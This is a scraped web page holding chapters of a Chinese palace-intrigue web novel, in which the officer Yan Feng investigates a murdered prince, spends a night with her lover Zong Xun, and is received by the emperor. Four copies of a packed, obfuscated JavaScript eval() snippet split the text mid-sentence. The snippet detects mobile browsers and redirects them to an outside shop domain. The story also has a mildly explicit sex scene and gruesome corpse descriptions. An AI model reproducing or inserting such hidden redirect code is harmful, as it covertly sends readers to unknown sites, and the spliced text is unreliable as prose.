l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485583|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反这种事，往往就是一板斧的买卖，讲究个速战速决。等她抵达京城，一切必定早已尘埃落定。 届时摆在眼前的，无非两种结果。 若三皇子成事，那她的仇人，当今皇帝，必然已成了他亲儿子的刀下亡魂。她一路隐忍，苦心筹谋，这血海深仇，该去找谁报？宗谦那沉埋多年的冤案，又该如何昭雪？ 若三皇子败北，那么下一任皇帝，毫无疑问就是当今太子。太子地位稳固，权势隆盛，雪停了，她这“送炭”的情谊，又从何谈起？她所有的算计，岂不都成了空中楼阁。 更棘手的是，不论哪方得胜，都可能将她视作敌党，顺手除去。 思及此，燕风只觉心口发闷。这局面无论如何演变，都与她的初衷背道而驰。 三四日快马疾驰，待燕风领着四名属下勒马停在京城门前时，望着巍峨城墙，她竟一时有些彷徨。 “燕大人！” 燕风闻声望去，只见城墙垛口处有个豆大的人影正奋力挥舞着手臂。 隔着这么远的距离大喊，那人的嗓音已经嘶哑得变了调。倒难为他眼力这般毒辣，竟能在人群中一眼认出她来。 待她凝神细看，不由一怔——那人竟是刑部的洪侍郎洪大人。 洪大人一见她，立马像个滚地葫芦似的从城楼上急匆匆奔下来。看样子，竟然是特意跑来城门口等她。 怪哉，他们何时有这了等交情？ 转眼间，洪主事已气喘吁吁地跑到马前。他本就身材矮小，此刻也不等她下马，仰着脖子看她，立马拱手贺道： “恭喜燕大人，贺喜燕大人！” 燕风心下诧异，索性端坐马背，俯身问道："敢问洪大人，我喜从何来？" “燕大人离京办事，想必还未收到敕令。” 洪主事脸上堆起他那经典的谄媚笑容，高声道：“陛下破格提拔您为锦衣卫同知了！这可是连升两级啊！” 燕风睁大了眼睛。这当真始料未及。 莫非是三皇子夺位成功，要铲除她这个‘前朝’近臣，又怕她不肯入瓮，特意派洪大人在此设局？ 若非如此，她此番外出寸功未立，凭什么破格连升两级？ 她更不敢下马了，略一思忖，压低嗓音：“我此番是接了急诏回京，洪大人可知诏书所言……” 洪大人急忙用袖子擦了擦额角的汗珠，凑近半步低语：“下官日日在此守候，正是为此事。大人有所不知，三皇子……薨了！” 说罢立即抿紧嘴唇，一副讳莫如深的神情，再不肯多言半句。 这话却让燕风当即利落翻身下马。 洪草包这人她再了解不过，做官油滑到了骨子里，平日里恐怕连做梦都很小心，生怕说出一句僭越的梦话，既然他敢说三皇子没了，那必定是真没了！ 只是……她随着洪侍郎往城内走去，心头却掠过一丝异样。 一个造反的皇子，怎么配用‘薨’这个字？ 78. 灵堂 城南一带历来是达官显贵聚居之处，燕风平日鲜少涉足。 前几日南下时虽曾途经此地，但当时心事纷杂，未曾留意街景。此刻从南门入城，她心神不宁地环顾四周，才注意到两旁朱门高耸，飞檐连绵，一派富贵气象。 忽然她脚步一滞，小腿肌肉不自觉地绷紧，暗自盘算起退路。 洪侍郎见她停步，回头顺着她的目光望去—— 只见一座极尽豪奢的宅邸，此刻却处处悬挂着刺目的白幡，在风中凄惶地飘荡。 “噢，这是徐家的宅子。”洪侍郎恍然，低声叹道，“真是造孽啊。听说二房一个庶子，竟把整个二房都……” 他做了个抹脖子的动作，摇头咂舌，“平日里看着不声不响的老实人，谁料竟这般极端。所以说啊，这高门大宅里的水，深着呢。” 燕风绷着的心瞬间松懈下来。原是她多想了，还以为…… 等等，徐家？ 她心头猛地一跳，追问道：“哪个徐家？” “这……”洪侍郎被她问得一怔，随即露出些许无奈，“朝野上下，还有哪个徐家？” 这话听着耳熟。 燕风只觉脊背窜起一阵寒意，眼前蓦地浮现出神女庙里那只骤然迸裂的签筒。 不祥。 她强自定了定神，正色道：“洪大人既然说有要事，故而日日在城门处相候，想必此事非同小可。此处人多眼杂，不如尽快寻个清净去处，细细说来。” 洪侍郎一拍脑门：“您瞧我这记性！我的马车就在前头，咱们车上细说。” 马车很快驶来，四名锦衣卫骑马在两侧随行。待车帘将外间的喧嚣隔绝，洪侍郎这才压低声音道：“陛下此次破格提拔，是要委派您一桩要案——查明杀害三皇子的真凶。” 燕风心下愕然。原来三皇子并非因谋逆被诛，竟是遭人毒手？ 她问：“既如此，为何是洪大人来迎我？大人与此案有何关联？我们现在又是去哪？” 洪侍郎被问得一怔，支吾道：“陛下命下官协理此案……今日恰逢他们停灵最后一日，各方都会前往吊唁，正是查验尸身的良机。” “他们？”燕风蹙眉，平日叫这姓洪的草包还真没辱没了他，说了半天仍是云山雾罩。 她耐性耗尽，语气陡然转厉：“洪大人若再这般含糊其辞，本官只好即刻进宫面圣，请陛下另择贤能了！” 洪侍郎被这番重话吓得一哆嗦，这才擦了擦汗，原原本本道来：原来三皇子谋反那日，其麾下兵马都已按计划陈兵皇城外，偏偏主帅迟迟未至。将领们久候不至，军心渐乱，最终竟是自乱阵脚，主动请降，将谋逆之事和盘托出。 随后皇帝派人前往三皇子府邸查探，才发现他与其亲信、以及周家重要成员，早已惨死府中，且死状极为凄惨。 “陛下仁厚，”洪侍郎道，“对外只说三皇子是暴病而亡。既然主犯已伏诛，谋逆之事也就不愿再深究了。但是杀害皇子的凶手，还是得查。” “那徐家，是怎么回事？” 洪侍郎眼珠转了转：“徐家的案子，应当与此无关。只是时日相近罢了。二房那个庶子供认不讳，人证物证俱全，没什么可疑之处。” 燕风阖上双眼，不再理会。今日她心绪烦乱，实在懒得与这滑头周旋。 马车在三皇子生前的府邸前停下。 府内虽不似前主人在时门庭若市，但该来的都已到了。 才迈进灵堂，燕风便是一怔——她从未如此直观地意识到，皇上竟有这么多儿子。 最小的那个看上去刚会走路，正被乳母扶着，笨拙地模仿着大人的动作，朝着灵位作揖。 她的目光掠过一众皇子，最终停在太子身上。 这是燕风第一次如此近距离地见到这位储君。太子平日深居简出，她只在年节大典上远远望见过几回。此刻细看，才发现太子生得其实颇为清俊，只是眉宇间总萦绕着一股挥之不去的惊怯之色。 燕风原以为三皇子这个最大的竞争对手殒命后，太子会显得轻松些，可眼前之人却依旧眉头紧锁，脸色苍白得厉害。 就在这时，她看见了七公主。 不过短短十余日不见，七公主竟瘦了一大圈。码头上那个神采飞扬，甚至算得上耀武扬威的小姑娘，如今站在一边，眼神空洞得像两个窟窿，浑身上下只剩下一副柔顺的骨架。 燕风的心猛地一揪，随即涌上一阵心虚—— 这半年来，七公主先是亲眼目睹胞姐死于非命，如今又失去了兄长和母家的倚仗。从万千宠爱到孤苦无依，这般天翻地覆的境遇，燕风总觉得，与自己脱不开干系。 洪侍郎整了整衣冠，上前一步，对着七公主躬身行礼： “下官刑部右侍郎洪茂，拜见七公主殿下。这位是新任锦衣卫同知燕风燕大人。我等奉陛下之命，特来查勘……呃，特来送三殿下最后一程，望公主殿下行个方便。” 燕风垂眸站在一旁，心下不由暗道，这洪草包倒也不算全无用处，至少这不分场合、直截了当提出要求的厚脸皮，她是自愧弗如的。 周贵妃因接连打击一病不起，如今府中一切事务皆由这位骤然失去所有倚靠的七公主主持。出乎意料的是，七公主并未显露丝毫为难或悲恸，她平静得近乎异常，只轻轻点了头：“随我来吧。” 原来三皇子的尸身并没有摆在灵堂，而是在别处。 她转身引路，一行人跟随她来到后院一处更为僻静的厢房，此处阴气森森，正是临时停灵之所。 七公主微微抬手示意，侍立两侧的内侍便默然上前，合力将放置在屋正中央的那具厚重棺椁缓缓开启。 洪茂站得最近，下意识探头一看，脸色瞬间惨白如纸。他喉头剧烈滚动，发出一声极力压抑的干呕，踉跄着连退数步，慌忙用宽袖掩住口鼻。最后终究没能忍住，跌跌撞撞冲出门外呕吐起来。 燕风与七公主并肩立于棺旁，见状刚生出几分鄙夷：刑部出身的官员竟这般没用。 下一瞬目光落在棺内，只一眼，她便明白了洪茂的反应确实情有可原。 棺椁内的遗体，几乎难以称之为一个完整的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485584|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人形。 肢体破碎，仅能勉强拼凑出轮廓，仿佛一件被彻底打碎后又重新粘合的瓷器。 更骇人的是头颅之上，几道深可见骨的裂口狰狞地咧开着，皮肉翻卷。其状可怖，足以让任何人为之胆寒。 这得是多大的仇怨啊。 燕风强压下喉头翻涌的呕意，竭力维持着面上镇定。她侧目看向身旁的七公主，却见那张稚气未脱的脸上竟是一片死水般的平静，显然已不是第一次面对这骇人的景象。 想到这不过是个十六七岁的小姑娘，燕风心头一软，不禁柔声道：“公主放心，下官必当竭尽全力，将凶徒缉拿归案，以告慰三殿下在天之灵。还请公主……节哀。” 七公主纤长的睫毛颤了颤，恍若刚从梦中苏醒。她抬眸望向燕风。 “燕大人不必勉强。”她淡淡道，“说来讽刺，若兄长未遭毒手，再过几日午门刑场上，我或许也该……身首异处了。” 她苦笑：“所以那凶手，与其说是仇敌，倒不如说……是救了我一命。谁让兄长偏要行那大逆不道之事。” 燕风垂首不敢接话，心下却道：这般自我安慰虽是人之常情，但其实也不尽然。以她所知的三皇子，虽偶有张扬，却绝非愚蠢莽撞之徒。既然敢举事，必是有了相当的把握。若当真成了，此刻又该是另一番光景。 “还有几具尸身停在隔壁。”七公主的声音将她从思绪中拉回，“是我母妃娘家的几位表兄。不过那些……更凌乱些，有些肢体都对不上了。燕大人和洪大人可还要过目？” 刚扶着门框蹒跚进来的洪侍郎一听这话，扭头又冲了出去，院中随即又传来阵阵干呕。 燕风勉强回道：“不必了。既然已有仵作验过，下官这等外行，也就不必再看。” 待洪侍郎稍缓过来，二人便向七公主告辞。 再次经过那庄严肃穆的灵堂时，燕风的目光不由自主地扫过那乌泱泱一片的皇子。 既然陛下金口玉言，定论老三是‘急病而薨’，那谋逆大罪便不存在。兄友弟恭的戏码总要演足，这些天家贵胄无论如何都得来送这好兄弟最后一程。 她抬眼看去，这一张张年轻的面庞上神色各异。有眼神闪烁，藏不住幸灾乐祸的；有眉头紧蹙，流露出几分真切悲戚的；更有些面色惶惶，仿佛在担忧自己会成为下一个目标的。 只是这些情绪都被主人小心翼翼地掩饰着，裹在华贵的礼服与得体的哀容之下。 看来看去，满堂人群里，只有那个最小的皇子最为无忧无虑。 他睁着一双澄澈见底的眼睛，虽被乳母引导着，一板一眼地对着灵位作揖跪拜，但那稚嫩的小脸上满是茫然，显然根本不明白眼前这庄严肃穆的一切究竟意味着什么。 燕风心里闷闷的，随口问道：“洪大人，那是几殿下啊？” 皇室百晓生洪大人看了一眼，道：“噢，是十九殿下，今年好似刚满两岁。” 燕风算了算，竟是那老东西从北地回来不久就怀上的。 她不动声色地收回目光，只在心底啧了一声。 79. 出浴 从三皇子府邸出来，燕风又被召入宫中面圣。 待踏出宫门时，天色已暗，街巷间灯火渐次亮起。疲乏与饥渴一同涌上，她推开家的大门，里头冷冷清清的，更没有热饭。 她这才想起江鱼还没回来——那丫头押着租来的牛车，此刻应当还在回京的路上，所幸有罗同和迟三相伴，安危倒不必挂心。 陈青倒是随她一同返京了，可自打得知徐家二房的惨剧后，这人便有些神思恍惚，此刻便缩在房里不出来。 燕风没有问，心下却觉得很是理解他的心情。正如她乍闻三皇子举兵时的感受：仇人将死，大仇似要得报，可那报仇之人却不是自己。 她又出门，在街边小摊吃了两碗馄饨，肠胃舒坦了一些，心头却还是空落落的。 她想宗恂了。 自那晚朱厌自行离去，宗恂便走水路掉头回京。算算时日，他此时应当还在路上：她自己是快马疾驰、日夜兼程赶回；而他乘船缓行，一路水路迂回，两人错身而过，也是自然。 只是……不知他颈侧的伤好些了没有？ 一念及此，心头便泛起一阵酸软，像是结痂的伤口下又生出新肉，又甜又痛。 她漫无目的地走着，待回过神，抬头竟已立在长公主府门前。 朱厌既已离开，那这京城之中，便再无人能洞察她的行迹。 此念一生，她身形一晃，人已悄无声息地踏上了公主府内最高的楼阁。明知纵使他回了京，也必定会先去城外防军营中，不会再回此处。 但……若能看一看他自幼长大的地方，也是很好的。 夜风微凉，她深吸一口气，身影几个起落，在沉寂的府邸上空悄然盘桓。踌躇良久，最终还是小心翼翼地，落入了那个他曾经长居的的小小院落。 屋门紧锁着。 她立在门前迟疑片刻，从发间拔下一根细银簪，探入锁孔。 细微的“咔哒”一声，门闩滑开。她闪身入内，立刻反手将门依原样掩好锁上，像个初次行窃的生手。 屋里黑洞洞的，她不敢点灯，轻轻半推开了窗。清冷的月光如水银般倾泻而入，将室内的陈设轮廓照亮。入目之处，是近乎简陋的朴素。 一桌，一椅，一柜，一床。除此之外，别无长物。然而每一样器物都摆放得一丝不苟，如同它们的主人，为人克制而严谨。 她慢慢挪动脚步，手指拂过冰凉的桌面，光滑的椅背，紧闭的柜门…仿佛能透过这些无声的器物，触摸到往昔岁月里，那个身影在此起居坐卧的痕迹。 最后，她小心翼翼地，在那张坚硬的床榻边沿坐下，一时有些发怔。 她心头莫名开始庆幸：幸好先前为了入宫面圣，她已仔细洗漱更衣，此刻周身是干净的，才敢如此肆无忌惮地靠近。 不知过了多久，终是觉得自己今夜这番行径有些荒唐。到此为止吧，该回去了。 就在她起身的瞬间，院外忽然传来一阵极轻微的脚步声。 有人正朝这小院走来。 燕风瞪大了眼睛，身体已先于意识做出反应，足尖一点，人便如轻烟般无声掠上房梁，同时指尖还不忘以微风轻送，将那扇半开的窗户悄然合拢。 那脚步声越来越近，沉稳而熟悉。 只一瞬间，她便认出了来人是谁！ 心口猛地一跳。惊喜过后她立刻踌躇起来：要不然，现在下去？若是等他进来，抬头看见自己藏身于此，到时两人面面相觑，又是何等尴尬。 正当她心神交战、进退两难之际，‘吱呀’一声，房门已被推开了。 宗恂风尘仆仆地走了进来。 燕风见他已入门，心一横，正欲现身。却见他径直走向床后，俯身挪动着什么。 下一刻，一个半旧的洗澡桶被他搬了出来。 燕风眨了眨眼，已到唇边的呼喊瞬间咽了回去，身形硬生生定住，整个人彻底隐没在梁上的阴影里。 宗恂显然是一路跋涉，眉宇间尽是挥之不去的倦意。他强撑着疲乏的身躯，又从院中井里提上冷水，烧热了一锅热水，尽数倒入了桶内。 燕风透过指缝，瞧见他在灯光下一件件褪去衣衫，直至寸缕不着，跨入水中。脸颊不由得发烫。 他累极了，温水一泡，筋骨松弛，竟不知不觉垂下了眼眸，靠在桶边一动不动，像是沉沉睡去了。 燕风暗道一声“坏了”。这样在水中泡一夜，便是铁打的身子也要染上寒病的。她心念急转，瞬间有了主意：不如她悄无声息地溜到门外，再装作刚来的样子叩门，将他惊醒？ 如此，既免了他受寒，也保全了自己的颜面。思及此，她轻轻落下，踮起脚尖，屏住呼吸向门口挪去。 然就在她即将触到门扉的刹那，身后却传来一声极轻的笑： “舍得下来了？” 燕风脊背倏然一僵，羞恼直冲头顶，当即决定反将一军。她猛地转过身，想要先发制人。然而她的虚张声势却在看清眼前景象的瞬间，消散殆尽。 他已卸去所有的易容和伪装，恢复了那张俊美得令人屏息的本来面容。 水珠顺着肌肉流畅的线条滑落，低矮的浴桶遮不住大片好风光。而那好风光的主人偏偏就用那样一双带着潮气的眼，深深地望着她。 燕风无声地叹了口气，在宗恂略显惊讶的注视中，径直走向那个她早已翻过的柜子，熟稔地从中取出一块澡巾。 她绕到他身后，动作轻柔地包裹住他湿透的墨发，细细擦拭起来。 “下次这么晚，就别洗头发了。不好干，要受寒的。” 宗恂自水中回过头，径直望进她躲闪的眼底，修长的手指随之轻巧探出，在她颊边极快地一拂——那张平日里仿佛焊在她脸上的面具，便被他轻而易举地揭了下来。 他动作未停，手腕接着一扬，带着药草香气的温水便“哗啦”一声泼溅到她脸上。 水花绽开的刹那，两人都愣住了。 晶莹的水珠顺着她光洁的额头、挺翘的鼻尖一路滚落，有一滴悬在她微张的唇边。燕风无意识地抿了抿唇，恰好将那滴水珠抿了进去…… 下一息，绯红以惊人的速度从脖颈蔓延至她的耳根，整张脸如同烧起来一般。 宗恂也瞬间意识到此举过于孟浪，眼底掠过一丝罕见的慌乱。 他急忙解释：“对不住，我只是想看看你本来的样子。这水里……我放了荆芥，能洗去易容。” 燕风又羞又恼，心口翻腾，气极反笑。 好啊，是你先动的手。 她抬手随意抹去脸上的水珠，当作无事发生，又从柜中抽出一件干净的寝衣，故意柔声道： “水凉了，快些出来罢。” 宗恂露出几分无措。他背过身，低头从桶中起身， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485585|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水痕顺着肌理滑下。他略显匆忙地就着她递来的寝衣披上，动作一贯利落的身体此刻却像受了冻似的微微发着僵。 燕风偏偏最受不了他这副样子。 她眼尾轻挑，忽地疾步逼近。 宗恂才来得及抬眼，就被她猛地按住肩膀，整个人被推倒到床榻上。 他眼底闪过错愕—— 下一息，“啪”地一声。屋中唯一的烛火被她抬手熄灭。 黑暗落下的瞬间，唯有呼吸声在逼仄的空间里变得格外清晰。 “小风……”他低唤一声。 回答他的，是温热气息的贴近，是她指尖若有似无地滑过，在黑暗里划出一条几乎要燃起来的轨迹。 宗恂闷哼了一声，明显愣住了。 随即他反击般地抬手，一把扣住她的腰，动作迅猛得带着几分被逼出的本能。床榻轻轻一震，只一个翻身，局势便被他彻底扭转。 燕风从未料到他会如此果断，位置调转的一瞬间，甚至感到一股短暂的失重。 他的影子在黑暗中俯下，靠得极近，近得能感到他起伏的胸膛在自己身上沉沉落下。她这才猛然意识到，他的身体比她高大、也更有力量许多。 这一压，竟如被一片无形的夜色笼罩，遮天蔽日。 燕风还穿着今日面圣才穿的赐服。 革带，领衫，补子，外服，里衣，小衣，被一件件堆在一旁。 她心跳如鼓，索性闭上眼睛，然而等了很久，他却始终只是徘徊而已。她睁开眼睛，轻笑了一声，又翻身而上，道：“不会？” 宗恂将头埋在她颈侧，喉结滚动：“不行……会有孕的。你的身份，太危险。” 燕风先是一怔，随即竟低低地笑了起来。她指尖缠绕着他一缕散落的黑发。 “原来是担心这个？我上次来葵水，已是三年前的事了。想来，应该没什么好担心的。” “三年前？”宗恂忽然抬头，眼底的潮色被担忧彻底取代，“你怎不早说！这是大事，怎么能拖！” 说话间，他已手肘撑床便要起身，看那架势，立时就要为她诊脉，查明根源。 燕风却不容他逃离。 在他起身的刹那，她手臂环上他的脖颈，稍一用力，便将他重新压回榻上 “急什么？”她俯视着他，眸中水色汹涌：“宗将军，不急在这一晚。” 言语间，她竟反客为主，一只手带着几分笨拙却坚定的意图，要亲自引导那迷途的舟楫，渡往彼岸。 然而此事看似简单，于生手却着实艰难。 她几番尝试，总是不得其法，徒然在边缘撩拨、试探，非但未能解困，反如火上浇油。 宗恂闷哼几声，额角渐渐渗出细密的汗珠。这甜蜜的折磨远超任何酷刑，他抓住她手腕，声音从齿缝间艰难挤：“小风……你饶了我罢……” 燕风唇间溢出一声不解的低语：“怪了。” 那点不服输的劲儿上来，手上仍执着地尝试，非要寻个成果出来不可。 宗恂猛地深吸一口气，像是下定了某种决心。他握住她忙碌的手腕，将其轻轻按回枕侧，沉重的阴影再次笼罩下来，嗓音喑哑得不成样子。 “别闹了，还是我来吧。” 长夜漫漫，寂静的房间里，一声轻呼后，唯有那张不甚牢固的硬木板床，发出规律而压抑的吱呀声响。 80. 事后 日头已高，明晃晃的光线透过窗纸，将空气中浮动的微尘都照得纤毫毕现。 燕风睁开眼时，身侧已是空荡荡的了。 她动了动身子，一股陌生的酸胀感立刻从四肢弥漫开来。这感觉怪异得很，莫名让她想起从前在林子里钻木取火——手里那块木桩被反复、快速地摩擦着，直到某一刻，冒起一缕微弱的青烟。 她心里头泛起一丝荒谬的满足，随即又被更大的疑惑淹没。 就为了这点滋味？ 她忆起自己当年在宫里做檐上君时，听到底下屋里传出的那些夸张的动静……如今亲身试过，似乎心理上的餍足，要远远多过身体上的那些模糊的欢愉。 真不晓得那些人，为何能如此乐此不疲。 她撑着坐起，目光落在自己身上，不由得微微一愣。 她身上已整整齐齐地穿好了昨日面圣时那身繁复的赐服，连领口的盘扣都一丝不苟地系着。 燕风失笑。这人是何时起身，又是如何为她穿戴整齐的？ 她竟睡得这样沉。 只是，这身衣服太过招摇。如今日头高照，她若穿着这一身从他房里出去，只怕不到一刻钟，风言风语就能传遍半个京城。 她掀被下床，赤足走到宗恂那口陈旧的衣柜前，抬手拉开。里面多是些颜色低调的素色常服。她随手拣了一件看起来最不起眼的，套在身上。果然宽大了许多，衣袖长得遮住了半截手掌，衣摆也直曳到地。她将过长的袖口随意挽了几折，勉强算是凑合。 转身欲走时，目光却被桌案上的一摞物事绊住了。 那是几包捆扎得极为齐整的药包，旁边压着一张素笺。 她走近拿起，纸上是她所熟悉的，他的字迹。 笔锋内敛却筋骨铮然，细细写着每味药该如何煎煮，何时服用，禁忌为何，条分缕析，俨然是张极周到的方子。 一阵温存漫上心头，驱散了清晨醒来时那片刻的孤清。 原来他趁她沉睡时，已为她仔细诊过脉了。 不过……他竟然连妇科也如此精通么？ 这个念头刚起，另一缕更幽微的思绪便如游丝般缠绕上来。 他这般熟稔，这般体贴入微，在他之前，是否也曾为别的女子……这般细致过？ 一片淡淡的酸涩，便无声沁入胸口那尚未褪去的暖意中，渐渐浸染开来。 她感叹，人果然总是得寸进尺且多疑。 * 燕风踏进北镇抚司衙门时，已经快是晌午。 还没迈过那高高的门槛，千户裴正便已笑容满面地迎了出来，一连串的嘘寒问暖夹杂着显而易见的巴结，热络得不同寻常。 “镇抚大人今日气色极佳！可用过午饭了？下官这就差人去准备？” 这倒真是稀奇事。这裴正是上任镇抚使马顺的心腹，自马顺被‘请’去南京荣养后，他便三天两头告病，平日如墙角野草般不起眼。 今日这般殷勤，怕不是太阳打西边出来了？ 好不易送走了这位裴千户。燕风一抬眼，便瞧见自己那四个心腹手下正聚在不远处的廊檐下，个个抱着臂，望着裴正离去的背影，脸上是如出一辙的鄙夷。 燕风挑眉道：“他这是怎么了？吃错药了？” 严炳安嘴上叼着一根不知从哪儿揪来的草茎，嗤笑一声：“有什么稀奇？您升官了呗。连带着我们几个，也沾光被顺带提成了千户。” 他吐出草根，讽刺道：“裴大人这是有危机感了，急着来表忠心呢。” 燕风略一思忖，确是此理。 她随即又蹙起眉：“说来也怪。查案本就是我们分内之事，眼下案子还没真正开查，怎么事情未做，上头就先赏了？” 这不合常理的擢升，像块凭空掉下的馅饼，反叫人心中难安。 一直沉默的杨胜忽然开口：“还能是为了什么？因为这差事要命。这升官，不过是提前付给我们的买命钱！” 燕风诧异地看向他。杨胜自从遭了那事，就变得异常谨慎，今日竟如此直白地说出这等犯忌讳的话，倒是稀奇。 她想听他细说缘由。可杨胜在她注视下，却猛地闭了嘴，低下头再不肯言语。 严炳安打了个圆场：“大人莫怪。老杨他……心里不痛快。” “您还不知道吧？三皇子案里死的人里，有一个……是他的师父。” 燕风想起了七公主说得那堆残肢断臂，哦哦了两声。她心道，理解理解，一日为师，终身为父嘛！ 却听杨胜又道：“那老贼秃，收了我那么多银钱，却只教些皮毛！平日里一副清高做派，得罪多少人，如今撞上能治他的了吧？该！真该！” 他说着蹲下身去，双眼发红，竟呜呜地哭了起来。 燕风：“……” 白砚生轻声问：“老杨，你师父真那么厉害？” 严炳安：“那当然，老杨是武状元，他师父却只是教了些皮毛而已。” “那真是不妙。”白砚生皱眉，“大人，您昨日让我去调案卷。死者众多，不只有周家几位公子，还有他们各自的手下，光像杨胜师父这样的护院就有不少。可现场痕迹显示，凶手似乎只有一人。” “会不会是下毒？让所有人都失了反抗之力？” “仵作说没有中毒痕迹。虽然尸体被砍得不成样子，但躯干部分几乎都是一刀毙命。” 白砚生神色凝重：“是个绝顶高手。” 众人闻言，皆倒吸一口凉气。 严炳安问：“你刚才说抄了份完整的死者名单，里头可有老弱妇孺？” 白砚生从怀中抽出一张纸递过去：“都在这儿了。我尽可能搜集详尽，但未必完整。尸身损毁太甚，许多难以辨认。不过应当没有老弱妇孺。” 他苦笑：“倒未必是凶手心软，而是事发时三皇子他们正在密谋造反，闲杂人等包括府中女眷都离得远。” 严炳安接过看了看，又有些尴尬地交给了燕风：“头，给您看吧，我不识字。” 燕风展开一看。嚯，好长一串名单，其中不乏武功高手。她见了心下也不免生寒。 严炳安拍了拍白砚生的肩：“哎，想开点，谁知道那贼人是不是早就出城跑了呢，我听说案发后可没有城禁。我若是他，这许多日，早就跑到天涯海角了。” 白砚生点头：“话是这样没错，可是大人，为了保险起见，我们要不要再招募几个好手。” 此话一出，其余三人皆齐刷刷地看向燕风，显然都十分赞同此议。 燕风脑中瞬间闪过一个名字——那个让她至今走路都不太自在的人。 念及此，她脸颊隐隐发烫。 但这名字不能从她口中说出。于是她只作未闻，转向陈青：“昨日让你打听徐府的事，如何了？” 陈青摇头：“暂无疑点，应与三皇子案无关，只是日子恰巧在案发前三日。是二房一个儿子赌输倾家荡产，遭家人责备，便杀了全家，二房就此绝嗣。” 燕风点头，又问：“招募帮手也可，你们可有人选？” 她目光扫过众人，最后落在陈青脸上。陈青果然开口：“我倒是有一人选，只不知能否请得动。” 燕风笑了：“但说无妨，可以一试。” * 到了饭点，北镇抚司里几个相熟的弟兄便围了上来，起哄升了官定要请客。 燕风有些为难——擢升的旨意是下来了，可俸禄总还得等到下月。略一思忖，她想起了李指挥使曾带她去过的那个馄饨摊子，笑道：“走，带你们尝个鲜。” 一行人热热闹闹地出了衙门，在街角那简陋的摊子前坐下。热腾腾的馄饨端上来，皮薄馅足，众人倒也吃得酣畅淋漓，并未因地方简陋而有半分介意。待说笑着回到衙门，却见一名小太监早已候在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485586|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院中。 燕风心里咯噔一下，暗自嘀咕：昨日才见过，怎的今日又来传召？ 心下虽这般想着，动作却不敢有丝毫怠慢，匆匆入内换了公服，便随其入宫面圣。 刚至西苑殿前，还未及通传，有一人突然从内疾步而出，险些迎面与她撞个满怀。 燕风定睛一看，竟是太子殿下。 她慌忙要躬身行礼，不料太子抬眼一见是她，面色倏地一变，竟如见了鬼一般，脚步不停，反而加快步子绕开她径直去了。 燕风一时怔在原地，心下愕然：这是何故？ 身旁随行的小太监却似司空见惯，低声道：“大人勿怪，陛下正在里头等着您呢。” 敛起心神，燕风整了整衣冠，垂首步入殿内。 阁里墨香淡淡，皇帝恰刚搁下御笔，正端详着案上的一幅新墨。听得脚步声，他抬起头，如寻常人家的父亲招呼女儿那般，朝燕风招了招手。 “来了？过来瞧瞧朕这幅字。” 燕风依言上前。 她并未正经入塾念过书，腹中那点文墨，还是当年趴在撷芳殿的屋顶上，偷听里头的老学士们讲学，零星记下的。 然而眼前这幅字的内容，她倒认得——《颜氏家训》的兄弟篇。这倒并非她博闻强识，实是因撷芳殿的老学究们讲课时最爱援引此篇，絮絮叨叨，听得她耳朵几乎起茧。 目光落在纸上，她由衷赞道：“写得真好。” 这话倒非虚言，老东西别的不论，这一手字骨力遒劲，意态洒脱，确是极好的。 皇帝却轻轻叹了口气，目光落在她身上，仿佛带着难以言喻的复杂情绪。 “可惜啊……你若是个男儿，该多好。” 燕风心头猛地一跳，老家伙今日是抽什么风？他儿子还不够多吗？面上却已麻利地屈膝跪倒，额头触地，语声恭谨，又恰到好处地透出几分惶恐。 “陛下何出此言？” 一双龙纹靴停在她眼前，皇帝竟俯身，亲自将她扶了起来。 “凤儿，”他的声音透着少见的温和，“这里又没有外人，不必与父皇如此生分。” 燕风心下咋舌，面上却越发低眉顺目，显得格外恭谨。没办法，她深知这老东西最吃这套。 她垂首静立，听他继续说。 “朕的儿子不少，幼时个个聪颖，朕也悉心栽培。可长大成人后，老二荒唐，老五庸碌，老三……” 他顿了顿：“倒是精明强干，谁知受奸人蛊惑，行差踏错，最后……竟落得那般下场。” 他略去了那些血腥细节，又一声长叹：“余下的皇儿们，年岁尚小。可朕，终究有老去的一天。” 燕风心下怪道：“怎么独独跳过了大儿子太子，他方才可刚从这殿里出来呢。”然嘴上只将“父皇春秋鼎盛”、“龙体康健”之类的漂亮话，诚挚恳切地说了一箩筐。 皇帝果然顺着她的话，道出了更深层的忧虑：“朕虽已立太子，然则有时也不免思虑，是否所托非人。待朕百年之后，这江山到了他手中，他那些兄弟……可能得以善终？” 